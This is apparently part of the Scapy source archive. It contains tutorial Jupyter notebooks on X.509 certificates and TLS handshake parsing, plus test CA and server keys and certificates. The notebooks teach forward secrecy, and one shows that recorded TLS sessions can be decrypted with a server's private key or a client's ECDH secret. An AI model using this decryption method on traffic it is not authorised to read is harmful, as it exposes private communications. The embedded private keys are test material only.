€ã± 100ðööŽ‹‹+**’H$€ˆ¶lÙ¢{:::D4}úôß~ûmß¾}òÊL ¤¥¥iݾV1Å2oذa§OŸÎÈÈHLL œ²‰hÞ¼yR©Tþ±Èf—›ššª–A—––²raïÞ½ŠÛoܸ¡¯¯?pà@îͤR)›Æ§ZÆUUUq?¶999?VÚ¸aÖd•••J±§««{àÀÅÆò‚ÌÛÛ[5&9¶g_*«Æ$;¼ŠùTUU5`À"š8q¢X,V-ãägûK“Éd¬ïýܹsj’ênÈd²õë׳+$ù32¬Ò=qâ÷“^_'“Ьcò‡~¨±ñÔ©S‰H(Ê·¬ZµŠˆúöí«ôÉ(“É*++ûôéCD«W¯VM¾””ÕBˆ^¼x¡]ãü‘ˆ•>Xe2‹Uփǥ™T*e7ý9|øp½ð¤¤$ÕÅbÏÞÞ^µ½««+ËÅ«Zµg19qâDµù¤Ÿ¾¾¾D¤§§—••U_/cL*¥xVV–®®.]½zUq{@@{–——s?é zBᇑ®P lÁ3Å9ÇŽ#"ö¡¦HWW—}dËSMÎÒÒRi˜‰ü«ÍÒÒRíÇÆÆ‘ƒƒÃ•+W"ÿ‰l€.—f<oìØ±¬yþüùÁÁÁõ85^þ Ùýû÷‡T×~Ù²eDT\\|ïÞ=­ÛstîÜ9VرNËzyiÚ±´´d=üPܾÿ~"š3gëæxÒô„Fº¼TQQqãÆ "4h|ËÝ»wÙÀEµ¿Â¶ß¹sG"‘(²°°°à>ΖccVÊlß¾}ûöíjÿγgϸ7ûõ×_ÓÒÒvíÚµk×.]]ÝþýûñÅï¿ÿ¾v3+^¼x!‰rss333Ù©TÊåíííÙƒÈ×c{EltŒ­­í«yišÍ›7/88Ø××wëÖ­l„mnnîÉ“'ÙjuÒâ„b@Ùùóç_¼xADãÆc[Š‹‹ÙÅyŠØ}Ed2Yqq1›¿ÁÊ ùÀȇasoœ““CDK–,©nU6‰…c3 ‹èèèM›69r$;;»ªª*66væÌ™Gecg¸(,,ܽ{÷™3g._¾,‘H´8ìÀÀÀ ¼¼œã:5ÜÛ«–¤ìà¼õÖ[¯æ¥i®ŒÍÍÍsrrBBB¦L™BDGŽ©¬¬2dqÍýlÖã Ä$4;ò)Í×Ô2™lË–-DÔ¡C‡I“&±mÚ´áóù•••)))j‹mçóùªÓEꥥe~~¾½½ý|P÷fD$ 7oÞ¼iÓ¦ŒŒŒ3gÎ?~üüùóÇŽ3fŒ¼šÑ,<<|îܹ"‘H(Î;·sçÎ;v …cÆŒáþºÒÓÓËËˉ¨[·nÚµ—i\…Gñ¼ÛÚÚfddúH»ÏÊZ5þüóÏù|þÁƒUʦÊqo¦úÔ<oÈ!DÄjµEGG‹Åb›Ï>ûL±ß¸   ºWš‘‘QYY©¸½¤¤dåÊ•,Ú´i£u{އwΜ9|>?99Ùßß_m{6fªV/þžß)Ÿ¡Ëý,wëÖmÈ!b±844”q5k³Z«“^/'“jÜ»wÏËËkòäÉNNN‡R*J¦NÊ&nϘ1ƒ-žÂ\¾|yúôéD4xð`6Û²¡õèÑcÙ²eR©tâĉJ·1IHH6lîÁ±Ù¨Q£Ž?®ø•[YY›/Ñ·o_.ûÃF¥§§_¿~]¾Q"‘°j~õÕWòô¬¬,–.›7o®{ûêª+ÅcÈ&ï{zz+6»pá AƒXVÕö¥±À¾zõ*ûçÓ§OÃÂÂ4ì†"vYö矞>}šþÙãÊýlÖË …f ßMÂK‡Rì;---ÍÈÈ`“ ø|þâŋ׮]«:T‡Çãíܹ3'''::zĈ}ûöíÚµkJJJ||¼L&sttô÷÷ewEþæ›obccÏŸ?ïèè8dȇ§OŸ&$$°Rƒ?âÒ,???"""""ÂØØØÑѱ]»v………111=211Y¸p!—qttìÚµkjjª££ã„ ºté’——”——Wݯ‚;wž={väÈ‘"‘èÂ… ÏŸ?'¢+VÈG×¥=ß~ûíÕ«W/\¸0qâÄîÝ»;88äååݽ{—ͯeÕdm_š££ãíÛ·wíÚ•““SRRmkkëääÄe¦M›¶hÑ¢   ²²²Þ½{÷ïß_‹“^/'š/Lmæ=zTÝ{ÃÄÄÄÁÁá›o¾¹wïžæ?"‘H¾ÿþûV­Z)~‚¯[·NuÍooo"4hÒv6cˆòòò´k̈Åâï¾ûNqUt}}}—ëׯsoVUUÅøñãcbbØÕFpp°¼%»=™½½}JJ û¾M~•ÖÙÑ¢=;Œ“&Mâ¸]õàÑðáÃÏ;'ŸÅÏý¥Éd²ÔÔTÅ`‡}ûöÕ¸r^^^ì·mÛ¦¶A'½¾N(4O<îEõD,_¿~ýÙ³gB¡°oß¾ÕÍy$É7òòò:uêÔµk×êÊÙ›•––&''çååñù|kkëîÝ»×vŽ]UUUBBBnn.[$ÁÈÈHm³ÿûß6l°··OHH ¢´´´””CCÃ*~§u{íŽa|||NNŽ••• [ìM‹—ÆÇÄÄ…Â[6èI¯û …f1 Ðø|||6nÜ(½zoZ{M‡ð°Ž5ù¢ˆÉÿY·nÝØ±cíììØ ]“/UTTìÙ³‡ˆŠŠŠ°B1 &ÿaÓ¦M¬»µÿþ;vÄI‚7ž¹¹yÏž=;wîÜ@í@k¯Ýž³gÏ:;;WUUÑ©S§Æ“¨&‰ˆ"##§L™Â2rΜ9ÈH@5ù’ŸŸßœ9sÊÊʈhРA.\044Ä€æ^MVVV®Y³æý÷ßgiggwêÔ)d$ š¤k×®yyy5ÑYÒúúúõµèIs&^Ùº¯o*>Ÿ/pê¨eË–oÕ† Çñþ²­[·f““5°··W{xƒ™™™åää¼þûÙø®=zôÀÛPMª'‘HvíÚõõ×_‘žžÞèÑ£qºdii©üV® ™LVXXˆãPGb±˜}[uQXXˆ•«ë¨¢¢‚ÝC­~µmÛ6551ÉUJJŠ««ëýû÷‰H__ÿÏ?ÿtqqÁ»“/={öÌÝÝýòåËDdddtåÊ•>}úà bò¥ÒÒÒñãdz¤|çw’““èÖt\¼^«ð´lÙ2 €­T™žž¾aÜ!@5ùW®\:t¨L& …YYY˜Q¨&ÿç½÷Þ>|8ååå±A=â5-ÔV­Z•žž>hР®]»â$@cáaF@utp“ˆIÄ$b1 €˜@L &“ˆI@Lpöÿo€ÉYˆ¼"IEND®B`‚scapy-2.4.4/doc/notebooks/tls/notebook1_x509.ipynb000066400000000000000000000146431372370053500217600ustar00rootroot00000000000000{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Notebook 1: X.509 certificates" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Jupyter notebook cheat sheet" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# Use Shift+Enter to run the current cell\n", "print('Hello!')" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# You may also use Alt+Enter to run the current cell, then create a new cell right below\n", "from datetime import datetime\n", "print('This is the time right now: %s' % datetime.now())" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# If needed, pause the cell edition with Ctrl-M.\n", "# Then you can delete the current cell with D+D. You can also undo cell deletion with Z.\n", "# Finally, should Jupyter become stuck in execution, use Kernel/Interrupt from the menu bar.\n", "print('Got it!')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Data manipulation with Scapy" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "from scapy.all import *\n", "load_layer('tls')" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "keystr = open('raw_data/pki/ca_key.der', 'rb').read()\n", "print(repr(keystr))\n", "# (btw, you can hide the output of a cell by double-clicking on the left of the output)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "privkey = RSAPrivateKey(keystr)\n", "privkey.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "v = privkey.version\n", "print('The \\'version\\' stripped from any ASN.1 encoding is 0x%02x.' % v.val)\n", "print('The \\'version\\' field corresponds to bytes %r.' % raw(v))" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "privkey.version = ASN1_INTEGER(1)\n", "privkey.modulus.val *= 2\n", "privkey.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "print('Original data: %r...' % keystr[:13])\n", "print('New version bytes: %r' % raw(privkey.version))\n", "print('New modulus bytes: %r...' % raw(privkey.modulus)[:6])\n", "print('Rebuilt data: %r...' % raw(privkey)[:13])" ] }, { "cell_type": "markdown", "metadata": { "collapsed": true }, "source": [ "## X.509 certificate features" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# Let's reload the original key, then let's load a certificate associated with it\n", "privkey = RSAPrivateKey(keystr)\n", "cert = X509_Cert(open('raw_data/pki/ca_cert.der', 'rb').read())\n", "cert.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "cert.tbsCertificate.subjectPublicKeyInfo.subjectPublicKey.show()\n", "cert.tbsCertificate.subject[-1].rdn[0].show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false, "scrolled": true }, "outputs": [], "source": [ "cert.tbsCertificate.subjectPublicKeyInfo.subjectPublicKey.modulus == privkey.modulus" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "cert.tbsCertificate.extensions[2].show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "cert.signatureAlgorithm.algorithm" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Scapy crypto tools" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "# Let's reload the key with Scapy's crypto-enhanced wrapper\n", "privkey = PrivKey('raw_data/pki/ca_key.der')" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "privkey.der == keystr" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "print(privkey.key)\n", "print(privkey.pubkey)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# We can compute the RSA signature over the part of the certificate which is to be signed\n", "privkey.sign(raw(cert.tbsCertificate))" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "cert.signatureValue" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# We can quickly modify a certificate field and update the signature accordingly\n", "cert.tbsCertificate.serialNumber.val = 0xdeadcafe\n", "cert.tbsCertificate.subject[-1].rdn[0].value.val = 'my new deadcafe CA' \n", "cert2 = privkey.resignCert(cert)\n", "cert2.show()" ] } ], "metadata": { "kernelspec": { "display_name": "Python 2", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.13" } }, "nbformat": 4, "nbformat_minor": 2 } scapy-2.4.4/doc/notebooks/tls/notebook2_tls_protected.ipynb000066400000000000000000000140161372370053500241210ustar00rootroot00000000000000{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# TLS handshake overview\n", "This is the standard, modern TLS 1.2 handshake:\n", "\n", "\"Handshake" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "# We're going to parse several successive records from the passive listening of a standard TLS handshake\n", "from scapy.all import *\n", "load_layer('tls')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## (C) ---> (S) ClientHello" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "record1 = TLS(open('raw_data/tls_session_protected/01_cli.raw', 'rb').read())\n", "record1.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "for extension in record1.msg[0].ext:\n", " print('')\n", " extension.show()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## (C) <--- (S) ServerHello" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "record2 = TLS(open('raw_data/tls_session_protected/02_srv.raw', 'rb').read())\n", "record2.show()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## (C) <--- (S) Certificate" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "record3 = TLS(open('raw_data/tls_session_protected/03_srv.raw', 'rb').read())\n", "record3.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# The Certificate message actually contains a *chain* of certificates\n", "for cert in record3.msg[0].certs:\n", " print(type(cert[1]))\n", " cert[1].show()\n", " print('')" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# Let's recall the domain that the client wants to access\n", "record1.msg[0].ext[0].show()\n", "\n", "# Indeed the certificate may be used with other domains than its CN 'www.github.com'\n", "x509c = record3.msg[0].certs[0][1].x509Cert\n", "print(type(x509c))\n", "x509c.tbsCertificate.extensions[2].show()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## (C) <--- (S) CertificateStatus, ServerKeyExchange, ServerHelloDone" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# Here the server sent three TLS records in the same TCP segment\n", "record4 = TLS(open('raw_data/tls_session_protected/04_srv.raw', 'rb').read())\n", "record4.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# Let's verify the signature in the ServerKeyExchange\n", "# First, we need to assemble the whole data being signed\n", "cli_random = pkcs_i2osp(record1.msg[0].gmt_unix_time, 4) + record1.msg[0].random_bytes\n", "srv_random = pkcs_i2osp(record2.msg[0].gmt_unix_time, 4) + record2.msg[0].random_bytes\n", "ecdh_params = bytes(record4[TLSServerKeyExchange].params)\n", "\n", "# Then we retrieve the server's Cert and verify the signature\n", "cert_srv = record3.msg[0].certs[0][1]\n", "cert_srv.verify(cli_random + srv_random + ecdh_params, record4[TLSServerKeyExchange].sig.sig_val, h='sha512')" ] }, { "cell_type": "markdown", "metadata": { "collapsed": true }, "source": [ "## (C) ---> (S) ClientKeyExchange, ChangeCipherSpec, Finished" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "record5_str = open('raw_data/tls_session_protected/05_cli.raw', 'rb').read()\n", "record5 = TLS(record5_str)\n", "record5.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# Every record has a 'tls_session' context which may enhance the parsing of later records\n", "record5 = TLS(record5_str, tls_session=record2.tls_session.mirror())\n", "record5.show()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## (C) <--- (S) NewSessionTicket, ChangeCipherSpec, Finished" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "record6_str = open('raw_data/tls_session_protected/06_srv.raw', 'rb').read()\n", "record6 = TLS(record6_str, tls_session=record5.tls_session.mirror())\n", "record6.show()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## (C) ---> (S) ApplicationData" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "record7_str = open('raw_data/tls_session_protected/07_cli.raw', 'rb').read()\n", "record7 = TLS(record7_str, tls_session=record6.tls_session.mirror())\n", "record7.show()" ] } ], "metadata": { "kernelspec": { "display_name": "Python 2", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.13" } }, "nbformat": 4, "nbformat_minor": 2 } scapy-2.4.4/doc/notebooks/tls/notebook3_tls_compromised.ipynb000066400000000000000000000053171372370053500244560ustar00rootroot00000000000000{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# The lack of PFS: a danger to privacy" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "from scapy.all import *\n", "load_layer('tls')" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "record1_str = open('raw_data/tls_session_compromised/01_cli.raw', 'rb').read()\n", "record1 = TLS(record1_str)\n", "record1.msg[0].show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false, "scrolled": true }, "outputs": [], "source": [ "record2_str = open('raw_data/tls_session_compromised/02_srv.raw', 'rb').read()\n", "record2 = TLS(record2_str, tls_session=record1.tls_session.mirror())\n", "record2.msg[0].show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "# Suppose we possess the private key of the server\n", "# Try registering it to the session\n", "#key = PrivKey('raw_data/pki/srv_key.pem')\n", "#record2.tls_session.server_rsa_key = key" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "record3_str = open('raw_data/tls_session_compromised/03_cli.raw', 'rb').read()\n", "record3 = TLS(record3_str, tls_session=record2.tls_session.mirror())\n", "record3.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "record4_str = open('raw_data/tls_session_compromised/04_srv.raw', 'rb').read()\n", "record4 = TLS(record4_str, tls_session=record3.tls_session.mirror())\n", "record4.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "record5_str = open('raw_data/tls_session_compromised/05_cli.raw', 'rb').read()\n", "record5 = TLS(record5_str, tls_session=record4.tls_session.mirror())\n", "record5.show()" ] } ], "metadata": { "kernelspec": { "display_name": "Python 2", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.13" } }, "nbformat": 4, "nbformat_minor": 2 } scapy-2.4.4/doc/notebooks/tls/notebook4_tls13.ipynb000066400000000000000000000071261372370053500222220ustar00rootroot00000000000000{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# TLS 1.3 handshake overview\n", "This is the basic TLS 1.3 handshake:\n", "\n", "\"Handshake" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "from scapy.all import *\n", "load_layer('tls')" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "record1_str = open('raw_data/tls_session_13/01_cli.raw', 'rb').read()\n", "record1 = TLS(record1_str)\n", "sess = record1.tls_session\n", "record1.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "record2_str = open('raw_data/tls_session_13/02_srv.raw', 'rb').read()\n", "record2 = TLS(record2_str, tls_session=sess.mirror())\n", "record2.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "record3_str = open('raw_data/tls_session_13/03_cli.raw', 'rb').read()\n", "record3 = TLS(record3_str, tls_session=sess.mirror())\n", "record3.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "# The PFS relies on the ECDH secret below being kept from observers, and deleted right after the key exchange\n", "#from cryptography.hazmat.primitives.asymmetric.ec import EllipticCurvePrivateNumbers\n", "#from cryptography.hazmat.backends import default_backend\n", "#secp256r1_client_privkey = open('raw_data/tls_session_13/cli_key.raw', 'rb').read()\n", "#pubnum = sess.tls13_client_pubshares[\"secp256r1\"].public_numbers()\n", "#privnum = EllipticCurvePrivateNumbers(pkcs_os2ip(secp256r1_client_privkey), pubnum)\n", "#privkey = privnum.private_key(default_backend())\n", "#sess.tls13_client_privshares[\"secp256r1\"] = privkey" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "scrolled": true }, "outputs": [], "source": [ "record4_str = open('raw_data/tls_session_13/04_srv.raw', 'rb').read()\n", "record4 = TLS(record4_str, tls_session=sess.mirror())\n", "record4.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "record5_str = open('raw_data/tls_session_13/05_srv.raw', 'rb').read()\n", "record5 = TLS(record5_str, tls_session=sess)\n", "record5.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "record6_str = open('raw_data/tls_session_13/06_cli.raw', 'rb').read()\n", "record6 = TLS(record6_str, tls_session=sess.mirror())\n", "record6.show()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Observations sur TLS 1.3\n", "* Certificat désormais chiffré...\n", "* ...mais pas le Server Name dans le ClientHello\n", "* Risques du mode 0-RTT" ] } ], "metadata": { "kernelspec": { "display_name": "Python 2", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.13" } }, "nbformat": 4, "nbformat_minor": 2 } scapy-2.4.4/doc/notebooks/tls/raw_data/000077500000000000000000000000001372370053500200015ustar00rootroot00000000000000scapy-2.4.4/doc/notebooks/tls/raw_data/pki/000077500000000000000000000000001372370053500205645ustar00rootroot00000000000000scapy-2.4.4/doc/notebooks/tls/raw_data/pki/ca_cert.der000066400000000000000000000016141372370053500226620ustar00rootroot000000000000000‚ˆ0‚p  ºZûV㪙ž0  *†H†÷  0T1 0 UMN10U Ulaanbaatar10U Scapy Test PKI10U Scapy Test CA0 160916102645Z 260916102645Z0T1 0 UMN10U Ulaanbaatar10U Scapy Test PKI10U Scapy Test CA0‚"0  *†H†÷ ‚0‚ ‚Ðl¹-¨A@ "JÏdºÁPYì:@ì ~Àœ&rzŒú`רDÙ‘‡„F(9³¡! ªÀ–ŒÄƒ{ QSDícÚ÷;Omg A@#ÕÞªVŒ\Z‘¬~_<åw ¨!cï¨WݤµÂÎÆ#á*aªqä7#­tˆÝWF÷Œ‡ëÊ \W¡£]0[0UfS”ôѽgh°Q725ᤪÞ|0U#0€fS”ôѽgh°Q725ᤪÞ|0 U0ÿ0 U0  *†H†÷  ‚“g†)O½%ãT”6žWÍbã‰H«qi{rãc/-©ÈŒoT<.¾úóà‰_Üèð_Ò î¶Ö‚­E•t;vâÍ&]ç‚K{X䓇{75ßðÛ>˜*õž¹ßï,)`Œ3Wú„įù’ÀŽ­é/ćð?Ѩ9{ì²±57?¦ ŽÏñ,=×%îˆóXž+•¯§™ñVh¤ÏöøÄ˜AíkâÀñU"GgDx·P T—4øº1ºë` ÈÖà&Q¡o¤b&‘ gf˜ç§>3@lÜsNÛ$Á¼I°`Ÿ\c9Á³“r2A¼Á)Œ`ÝÍÙÃà¦aQscapy-2.4.4/doc/notebooks/tls/raw_data/pki/ca_key.der000066400000000000000000000022471372370053500225200ustar00rootroot000000000000000‚£‚Ðl¹-¨A@ "JÏdºÁPYì:@ì ~Àœ&rzŒú`רDÙ‘‡„F(9³¡! ªÀ–ŒÄƒ{ QSDícÚ÷;Omg A@#ÕÞªVŒ\Z‘¬~_<åw ¨!cï¨WݤµÂÎÆ#á*aªqä7#­tˆÝWF÷Œ‡ëÊ \W¡‚]#éí:Ó‹X…¢÷ÑTßäÀüSª@Qö°1““néþ¯tú¿Édõžx5±Ay<Þ¬…‰ÔÁÊ ÊØpp²™Jb” ‰ºó%†NAK~“GÍ<ÚÄ6²"L-¡ö*à'}ÅŠq¹äZv¢DïZÕ±‹ñìÉÍÈu"犠7æÕRG¿¤2¶‰€ŸZ¹QA±öïróžÕNÌ wßÕÝßȳ±½šm<(èœ1_…eÏkmä— YÂMa,X*( ˜8x eÒoé™zê#qvh|ò:ž±ÚÔVÖ söðúþ’½È]c_½‚Á"Zª›µT6{t@Š%¯^qͶÛàÝp#q{©~ÊÃ…ùGŽdc÷•e$ìóŽ“åëæ_ ï©K‚d÷QŠÅ îú}ê}%ËFÅnhoÈe€Ås;¼JüZ“†ïÉiM¸ÂçJ–|Ò]5iFnï:IÞa_PàfÊkïe_~üÜÍ^ Ý(bγö‹²Þ3€9·LZèÈ}¸çƘ2ªl5Ƽ60ä5 ù‘xÛAì{opΕ›à87oÉ…˜‰#ïi¯ŠL¯Ê“’ú@,S^ÕÅ.æ«×’LðD$ø×¤kõÌEùòìæ}«>?v}Æ~vz=DÇp¦A<¨‘ÅEóJ­ÁiøÃ¾6Ó;H.lýür²¯ÕõÿºŸ "IUÑÔ4…óÐÍöÏïöåßk]£9 olaFê/Ki‹AÐýEÏ®7} X–+Ћޟòèz·|‹½Í ¤Ñ‡òëß¿‚!&•oVÿÅ3n›ë@1²SkvŸÌµ{‰2TÕpawNo½€QÓ²dï~{c¿¥þðx Ý úN2E§C3»B­Ö'eÇp„Z ´ ½Ëð¡Ñ‘¬Œ‹2Q`-µò‹½šã÷©‚ÃYß’ªÜ`ì¹CE¯¦ñÖôHŽ4k@ oGÆ)|òà CÔBk»|­Öƒ®ªõpiØá³ Œ#Æh•úç*l”}üÑscapy-2.4.4/doc/notebooks/tls/raw_data/pki/srv_cert.pem000066400000000000000000000024421372370053500231200ustar00rootroot00000000000000-----BEGIN CERTIFICATE----- MIIDnjCCAoagAwIBAgIJAP4EVw3HJ+n2MA0GCSqGSIb3DQEBCwUAMFQxCzAJBgNV BAYTAk1OMRQwEgYDVQQHDAtVbGFhbmJhYXRhcjEXMBUGA1UECwwOU2NhcHkgVGVz dCBQS0kxFjAUBgNVBAMMDVNjYXB5IFRlc3QgQ0EwHhcNMTYwOTE2MTAyODExWhcN MjYwOTE1MTAyODExWjBYMQswCQYDVQQGEwJNTjEUMBIGA1UEBwwLVWxhYW5iYWF0 YXIxFzAVBgNVBAsMDlNjYXB5IFRlc3QgUEtJMRowGAYDVQQDDBFTY2FweSBUZXN0 IFNlcnZlcjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMzx8ZtgLWCu 8pgNJynZwAlZTA9KMKhS3+WxIZ9Pwz1Wk91fxvez9lWL55Li3vKFSbShLPT9dqhn ygQgYBEYpvKptqYd2arl2duv5q9VV5//Uoll5oBigCGUvM+BG8tnwp21BXcEpseI GIB4aJU23pcbtmGHQhp1mEWC6z4yEcibhkI5jU0St1gbGfOdK6GYgsrXOyT7CTmw vMKVz4IpdRYpP0IgFytNQIxWbK26DzSFsX9AeXF4t6UEu5T3tUGV7nzrjQx5aFnv y7P6Pnge7mdMet3gme/a5++yCV2+gCAhBYMsRNtdKnYppbAjiHQHVCLWKXqS9W8t nuf4JiucWGUCAwEAAaNvMG0wCQYDVR0TBAIwADALBgNVHQ8EBAMCBeAwHQYDVR0O BBYEFKErIHDSa4DlZbzrAw+In3St3fYTMB8GA1UdIwQYMBaAFGZTlPQV0b1naLBR NzI14aSq3gd8MBMGA1UdJQQMMAoGCCsGAQUFBwMBMA0GCSqGSIb3DQEBCwUAA4IB AQCBiJJza5PnldbdQe6OHr2jSFinQTU/e33QN5gOuCyUd8hRNkCtWQkoyFbW6lus tNg/aLdmyuFWN6kAZepRyeyyaUld+ePA7WFUyRKfxrAKc1XoVTVg7xw28NrRkHdW BLirOO73CcWlmJAj6h/bFX8yKIGrm4UCS5XnN1F7G0gu+z5Sow20RqmSOhwf1woe WEr6LlGPKcYeuA4xDnPxJ4gXyshpDPqDzbN5DhSwuJsvOi0J4/wG8Dpu/TY7KxoJ KuirX4xA5IGyvPeDZxFuTpPqIq//o5p3V3bQCzis+IqUNY7X1GHMAf8ktI9hI7qI 11nk6boqTrUVD5zQ6gaR2d6r -----END CERTIFICATE----- scapy-2.4.4/doc/notebooks/tls/raw_data/pki/srv_key.pem000066400000000000000000000032501372370053500227510ustar00rootroot00000000000000-----BEGIN PRIVATE KEY----- MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDM8fGbYC1grvKY DScp2cAJWUwPSjCoUt/lsSGfT8M9VpPdX8b3s/ZVi+eS4t7yhUm0oSz0/XaoZ8oE IGARGKbyqbamHdmq5dnbr+avVVef/1KJZeaAYoAhlLzPgRvLZ8KdtQV3BKbHiBiA eGiVNt6XG7Zhh0IadZhFgus+MhHIm4ZCOY1NErdYGxnznSuhmILK1zsk+wk5sLzC lc+CKXUWKT9CIBcrTUCMVmytug80hbF/QHlxeLelBLuU97VBle58640MeWhZ78uz +j54Hu5nTHrd4Jnv2ufvsgldvoAgIQWDLETbXSp2KaWwI4h0B1Qi1il6kvVvLZ7n +CYrnFhlAgMBAAECggEAIPA9uZAimuhjOwbaJYLGt3nvnIF7AoKXU449biJeqawR hcHP852r2KHsrRHjbSz45JwG4rUd7gEIWdNuPTEuG9Ak99vSUQIyGnnR5JodxCw/ 8q869aVfHIaQNfV1JyLdB4XBhBhuSaFY9sTjYh/4dGbS0Cfx+titiXZ6InvfmdMD eLd/ZO35/BwtWN3J2ntRziTTREKLeEYFEe7FtXKGwDGIsvVn7egckefKMnflhMFA SuoPn2VvTqmhiwSuATdx1TP4XOVdVzuL2wT7brS7qHvabRDBKdVOfrNGOoMdnnua ursIQjQindNT8kVK8EGxws9eFr/dooYYFR72IusTfQKBgQDuQBzzKEtt86uRCbZX Y3lu0MJnR5OOodfGBBYF9Ue+W3OJTd9EvXLSgLBLvwirB7lsNXgXf8LHCTQOtF3H 